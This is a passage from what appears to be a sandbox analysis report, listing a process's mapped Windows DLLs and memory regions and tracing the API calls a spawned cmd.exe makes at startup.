end_va = 0x7fefb6d2fff entry_point = 0x7fefb680000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 679 start_va = 0x7fefb7b0000 end_va = 0x7fefb7b9fff entry_point = 0x7fefb7b0000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 680 start_va = 0x7fefb7d0000 end_va = 0x7fefb7dafff entry_point = 0x7fefb7d0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 681 start_va = 0x7fefb7e0000 end_va = 0x7fefb806fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 682 start_va = 0x7fefb850000 end_va = 0x7fefb8b6fff entry_point = 0x7fefb866060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 683 start_va = 0x7fefb8d0000 end_va = 0x7fefb8dbfff entry_point = 0x7fefb8d0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 684 start_va = 0x7fefb970000 end_va = 0x7fefb984fff entry_point = 0x7fefb970000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 685 start_va = 0x7fefc650000 end_va = 0x7fefc65bfff entry_point = 0x7fefc651064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 686 start_va = 0x7fefc720000 end_va = 0x7fefc726fff entry_point = 0x7fefc720000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 687 start_va = 0x7fefc820000 end_va = 0x7fefc83afff entry_point = 0x7fefc820000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 688 start_va = 0x7fefc840000 end_va = 0x7fefc85dfff entry_point = 0x7fefc8413b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 689 start_va = 0x7fefc930000 end_va = 0x7fefc939fff entry_point = 0x7fefc930000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 690 start_va = 0x7fefca60000 end_va = 0x7fefcaa6fff entry_point = 0x7fefca61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 691 start_va = 0x7fefcb50000 end_va = 0x7fefcb7ffff entry_point = 0x7fefcb50000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 692 start_va = 0x7fefcb80000 end_va = 0x7fefcbdafff entry_point = 0x7fefcb80000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 693 start_va = 0x7fefccf0000 end_va = 0x7fefccf6fff entry_point = 0x7fefccf0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 694 start_va = 0x7fefcd00000 end_va = 0x7fefcd54fff entry_point = 0x7fefcd00000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 695 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 696 start_va = 0x7fefd020000 end_va = 0x7fefd033fff entry_point = 0x7fefd020000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 697 start_va = 0x7fefd320000 end_va = 0x7fefd32afff entry_point = 0x7fefd321030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 698 start_va = 0x7fefd350000 end_va = 0x7fefd374fff entry_point = 0x7fefd359658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 699 start_va = 0x7fefd380000 end_va = 0x7fefd38efff entry_point = 0x7fefd381010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 700 start_va = 0x7fefd390000 end_va = 0x7fefd420fff entry_point = 0x7fefd391440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 701 start_va = 0x7fefd470000 end_va = 0x7fefd483fff entry_point = 0x7fefd4710e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 702 start_va = 0x7fefd490000 end_va = 0x7fefd49efff entry_point = 0x7fefd4919b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 703 start_va = 0x7fefd680000 end_va = 0x7fefd6eafff entry_point = 0x7fefd6830e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 704 start_va = 0x7fefd860000 end_va = 0x7fefd98cfff entry_point = 0x7fefd8aed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 705 start_va = 0x7fefd990000 end_va = 0x7fefda28fff entry_point = 0x7fefd991c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 706 start_va = 0x7fefda30000 end_va = 0x7fefda5dfff entry_point = 0x7fefda31010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 707 start_va = 0x7fefdb00000 end_va = 0x7fefdbdafff entry_point = 0x7fefdb20760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 708 start_va = 0x7fefdd60000 end_va = 0x7fefddc6fff entry_point = 0x7fefdd6b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 709 start_va = 0x7fefddd0000 end_va = 0x7fefded8fff entry_point = 0x7fefddd1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 710 start_va = 0x7fefdee0000 end_va = 0x7fefdfa8fff entry_point = 0x7fefdf5a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 711 start_va = 0x7fefed40000 end_va = 0x7fefeddefff entry_point = 0x7fefed425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 712 start_va = 0x7fefede0000 end_va = 0x7fefefe2fff entry_point = 0x7fefee03330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 713 start_va = 0x7feff2b0000 end_va = 0x7feff320fff entry_point = 0x7feff2c1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 714 start_va = 0x7feff330000 end_va = 0x7feff33dfff entry_point = 0x7feff331080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 715 start_va = 0x7feff5a0000 end_va = 0x7feff5a7fff entry_point = 0x7feff5a0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 716 start_va = 0x7feff5b0000 end_va = 0x7feff5cefff entry_point = 0x7feff5b60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 717 start_va = 0x7feff5d0000 end_va = 0x7feff6a6fff entry_point = 0x7feff5d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 718 start_va = 0x7feff7e0000 end_va = 0x7feff82cfff entry_point = 0x7feff7e0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 719 start_va = 0x7feff860000 end_va = 0x7feff860fff entry_point = 0x7feff860000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 720 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 721 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 722 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 723 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 724 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 725 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 726 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 727 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 728 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 729 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 730 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 731 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 732 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 733 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 734 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 735 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 736 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 737 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 738 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 23 os_tid = 0x74c Thread: id = 24 os_tid = 0x780 Thread: id = 25 os_tid = 0x77c Thread: id = 26 os_tid = 0x768 Thread: id = 27 os_tid = 0x750 Thread: id = 28 os_tid = 0x744 Thread: id = 29 os_tid = 0x6c0 Thread: id = 30 os_tid = 0x6bc Thread: id = 31 os_tid = 0x558 Thread: id = 32 os_tid = 0x54c Thread: id = 33 os_tid = 0x500 Thread: id = 34 os_tid = 0x130 Thread: id = 35 os_tid = 0x124 Thread: id = 36 os_tid = 0x120 Thread: id = 37 os_tid = 0xcc Thread: id = 38 os_tid = 0x3f8 Thread: id = 39 os_tid = 0x3f4 Thread: id = 59 os_tid = 0xb20 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x53e20000" os_pid = "0xa34" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9dc" cmd_line = "cmd /K" cur_dir = "C:\\Users\\aDU0VK IWA5kLS\\Desktop\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 816 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 817 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 818 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 819 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 820 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 821 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 822 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 823 start_va = 0x4a5a0000 end_va = 0x4a5ebfff entry_point = 0x4a5a0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 824 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 825 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 826 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 827 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 828 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 829 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 830 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 831 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 832 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 833 start_va = 0xc0000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 834 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c7f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 835 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ccde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 836 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d120f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 840 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 841 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 842 start_va = 0x140000 end_va = 0x1a6fff entry_point = 0x140000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 843 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 844 start_va = 0x470000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 845 start_va = 0x74920000 end_va = 0x74926fff entry_point = 0x74920000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 846 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x752710e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 847 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x7529a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 848 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75450569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 849 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757fb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 850 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75974975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 851 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ac6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 852 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d1a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 853 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dd32d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 854 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 855 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77137478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 856 start_va = 0x77180000 end_va = 0x7721cfff entry_point = 0x771b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 857 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x772949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 858 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 859 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 860 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 861 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 862 start_va = 0x570000 end_va = 0x6f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 863 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 864 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 865 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 866 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 867 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 868 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 869 start_va = 0x700000 end_va = 0x880fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 870 start_va = 0x890000 end_va = 0x1c8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 871 start_va = 0x1c90000 end_va = 0x1fd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c90000" filename = "" Thread: id = 42 os_tid = 0xa38 [0047.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41fdec | out: lpSystemTimeAsFileTime=0x41fdec*(dwLowDateTime=0x13e0bc30, dwHighDateTime=0x1d31ac1)) [0047.513] GetCurrentProcessId () returned 0xa34 [0047.513] GetCurrentThreadId () returned 0xa38 [0047.513] GetTickCount () returned 0x139b5 [0047.513] QueryPerformanceCounter (in: lpPerformanceCount=0x41fde4 | out: lpPerformanceCount=0x41fde4*=324441776) returned 1 [0047.515] GetModuleHandleA (lpModuleName=0x0) returned 0x4a5a0000 [0047.515] __set_app_type (_Type=0x1) [0047.515] __p__fmode () returned 0x75db31f4 [0047.515] __p__commode () returned 0x75db31fc [0047.515] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a5c21a6) returned 0x0 [0047.515] __getmainargs (in: _Argc=0x4a5c4238, _Argv=0x4a5c4240, _Env=0x4a5c423c, _DoWildCard=0, _StartInfo=0x4a5c4140 | out: _Argc=0x4a5c4238, _Argv=0x4a5c4240, _Env=0x4a5c423c) returned 0 [0047.515] GetCurrentThreadId () returned 0xa38 [0047.515] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa38) returned 0x60 [0047.515] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0047.515] GetProcAddress (hModule=0x75dc0000, lpProcName="SetThreadUILanguage") returned 0x75dea84f [0047.515] SetThreadUILanguage (LangId=0x0) returned 0x409 [0047.515] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0047.515] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41fd7c | out: phkResult=0x41fd7c*=0x0) returned 0x2 [0047.515] VirtualQuery (in: lpAddress=0x41fdb3, lpBuffer=0x41fd4c, dwLength=0x1c | out: lpBuffer=0x41fd4c*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0047.515] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41fd4c, dwLength=0x1c | out: lpBuffer=0x41fd4c*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0047.515] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41fd4c, dwLength=0x1c | out: lpBuffer=0x41fd4c*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0047.515] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41fd4c, dwLength=0x1c | out: lpBuffer=0x41fd4c*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0047.515] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41fd4c, dwLength=0x1c | out: lpBuffer=0x41fd4c*(BaseAddress=0x420000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0047.515] GetConsoleOutputCP () returned 0x1b5 [0047.516] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5c4260 | out: lpCPInfo=0x4a5c4260) returned 1 [0047.516] SetConsoleCtrlHandler (HandlerRoutine=0x4a5be72a, Add=1) returned 1 [0047.516] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.516] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0047.516] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.516] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a5c41ac | out: lpMode=0x4a5c41ac) returned 1 [0047.516] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.516] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0047.516] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.516] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a5c41b0 | out: lpMode=0x4a5c41b0) returned 1 [0047.516] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.516] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0047.517] GetEnvironmentStringsW () returned 0x482010* [0047.517] FreeEnvironmentStringsW (penv=0x482010) returned 1 [0047.517] GetEnvironmentStringsW () returned 0x482010* [0047.517] FreeEnvironmentStringsW (penv=0x482010) returned 1 [0047.517] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ecec | out: phkResult=0x41ecec*=0x68) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x0, lpData=0x41ecf8*=0x0, lpcbData=0x41ecf0*=0x1000) returned 0x2 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x1, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, 